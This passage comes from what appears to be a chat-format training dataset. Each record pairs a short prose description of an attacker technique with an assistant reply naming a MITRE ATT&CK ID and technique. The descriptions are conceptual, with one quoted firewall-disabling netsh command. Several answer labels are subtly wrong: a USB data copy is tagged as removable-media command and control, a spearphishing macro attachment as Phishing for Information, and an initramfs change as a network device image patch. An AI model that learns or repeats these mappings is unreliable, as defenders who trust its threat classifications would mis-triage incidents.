                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script calls the CoCreateInstance function to communicate with the remote DCOM server."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a Windows service that launches OneNote.exe with a payload argument during system startup to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks a legitimate service request and redirects it to an attacker-controlled LDAP server, prompting the client to send its authentication token."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using ProcDump, the adversary captures the LSASS dump and extracts cached domain hashes for later use."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performs man‑in‑the‑middle attacks on encrypted traffic, subtly modifying the ciphertext to cause malicious behavior upon decryption."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PDF download link on a compromised education site triggers an exploit when opened in a browser."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker hires a front company to acquire legitimate software licenses that will be abused for malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses the Windows DCOM service to launch malicious executables on remote hosts across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use fake desktop shortcuts that point to malicious payloads, pretending to be a PDF viewer."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries public code repositories and data dumps to locate exposed database files containing credentials."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware converts command output to hexadecimal strings to hide content before sending to C2."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the victim, the intruder compresses logs and then encodes the archive with a non‑standard ROT13‑plus‑hex scheme to hide it from network monitors."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary clears the syslog and kernel log files on a Linux box to avoid detection by SIEM tools."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider uses a USB thumb drive to copy sensitive financial records from the corporate network to an external device."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actors leveraged the Windows API to enumerate LSA Secrets, pulling out stored credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a credential dumping tool, the attacker obtains a domain admin token and then creates a backdoor domain account with net.exe."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit a vulnerable SSH server to capture usernames and passwords via a brute‑force login attempt."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers an Emond filter to run a backdoor binary when a USB device is inserted."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary changes the plist configuration for the AppleFileServer to alter file permissions, facilitating data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a signed script to set the 'Enable-Transcript' policy to 'Disabled' in PowerShell, stopping transcription of the command line."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is concealed in the alpha channel of an SVG file that is delivered through a phishing email attachment."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromised a service account and executed a gcloud command to delete a Compute Engine instance in Google Cloud, erasing the server and its data."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs \"kubectl get nodes\" followed by \"kubectl describe node\" to gather node resource information."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a password spraying attack to guess the password of an admin account and gain higher privileges."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code queries the Windows registry and system APIs to gather client configuration information such as installed drivers and security settings."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a rootkit that patches the Kerberos authentication function (AcquireCredentialsHandle) in memory, allowing it to record ticket‑granting tickets."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor obtains a compromised VPS and uses it to tunnel traffic to evade network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor replaces the legitimate FTP daemon with a backdoored version to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a tool that installs a malicious Netsh helper DLL and triggers it by executing \"netsh advfirewall set allprofiles state off\"."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the RtlQueueApc function, the threat actor injects a DLL into a legitimate process to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use command-line tools to purge recent network connection history and reset TCP/IP configuration settings."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker performed credential dumping by impersonating the KRBTGT account and issuing DCSync commands."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors query Facebook groups using keywords related to the target organization to collect employee contact information."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors encode exfiltration data within DNS queries using base32 encoding."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group alters the Linux initramfs image with malicious scripts to persist after reboot."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform credential dumping on a compromised server to retrieve service account tokens used by a Kubernetes pod, then reuse them to access the cluster."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By analyzing conference speaker lists and industry webinars, the intruder determines which members of the target firm hold decision‑making or privileged technical roles."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom tool attempts to guess the password of a Wi‑Fi network by iterating through a dictionary of typical passwords with rapid retry attempts."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set designs a stealthy credential‑dumping tool that leverages Windows Credential Guard bypass techniques."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses a vulnerable kernel module that allows writing to /dev/kmem for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee receives a USB drive labeled \"Payroll Data\" and plugs it into their workstation, inadvertently running an autorun malware."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware exploits a zero-day vulnerability in a popular software to gain elevated privileges on the compromised system."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the Registry Run key to execute a payload whenever a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script scraped DNS DBs such as VirusTotal and CertStream for newly registered domains linked to the victim."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employed a custom software packer to compress and encrypt the payload before deployment."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the cron.allow file to whitelist a malicious user account, then schedule a task that executes a privilege‑escalation exploit."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the Windows code signing policy to allow unsigned executables to run without warnings."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor downloads a commercial exploit kit from an underground market to use in future attacks."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant queries the system’s BIOS serial number and manufacturer fields looking for strings like 'VirtualBox' or 'VMware' to determine if it is running in a virtual environment."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using TFTP, the intruder performs a boot-time attack to replace the system's boot image with a malicious one."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages public read permissions to harvest object listings from an IBM Cloud Object Storage bucket."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor encodes a VBScript payload in Base64 and decodes it at runtime before execution."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gains administrative access to the corporate DNS server and changes A records to point to malicious domains."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By substituting a legitimate shared library with a malicious .dylib in the application's search path, the adversary hijacks the execution flow of the target program."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious scripts changed the firewall's default DROP policy to ACCEPT, effectively opening all ports on the target system."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting ARP scans on the local LAN to map active device IP and MAC addresses."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote attacker sends specially crafted DNS queries that trigger a stack overflow in the DNS resolver, causing the endpoint to become unresponsive."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware changes the PAM configuration files to include a rogue authentication module that logs user credentials and forwards them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the platform's boot configuration data (BCD) to load a malicious driver early in the boot process."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The breach includes a component that mirrors all outgoing traffic and forwards the duplicated data to an attacker-controlled domain."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor injects a new role definition into the Azure AKS cluster, escalating their access to cluster-wide resources."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor stages credential dumps in %APPDATA% before uploading them."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the Terminal Services DLL (termsrv.dll) with a malicious version to execute code whenever a remote desktop session is established."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributed a malicious HTML file that uses the HTML5 download attribute and a data URL to write a PowerShell script directly onto the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload extracts active network connection details, including process IDs and remote addresses, from the host."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through remote code execution, the intruder accesses the LSASS module to harvest credential data."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a legitimate-looking email attachment named 'Invoice.pdf' that actually contains an executable."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries infiltrate a software vendor's build pipeline and inject malicious code into the client binary before release."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By changing the permissions of a service's DLL file, the threat actor injects a malicious library that is loaded when the service starts."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder hijacks a shared memory segment used by a banking application to intercept and modify transaction details before they are processed."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit code is delivered in a stripped binary form, with all header information zeroed out to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing campaign targets finance staff with an email that looks like a payment request, containing a malicious Excel file that runs a macro to exfiltrate credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor executes a PowerShell command that invokes the .NET System.Drawing.Graphics class to capture the screen and writes the bitmap to %TEMP%."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service allowed the attacker to write to /etc/sudoers.d/, granting themselves unrestricted sudo access."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infected Office document modifies the user's Outlook Home Page via a registry modification, loading a malicious script when Outlook opens."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During data theft, the attacker appends large amounts of irrelevant data to the stolen files, making it difficult for analysts to identify the valuable content."
            },
            {
                "role": "assistant",
